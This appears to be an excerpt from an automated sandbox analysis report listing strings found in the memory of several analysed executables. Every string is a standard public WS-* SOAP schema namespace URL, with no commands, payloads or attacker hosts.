Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
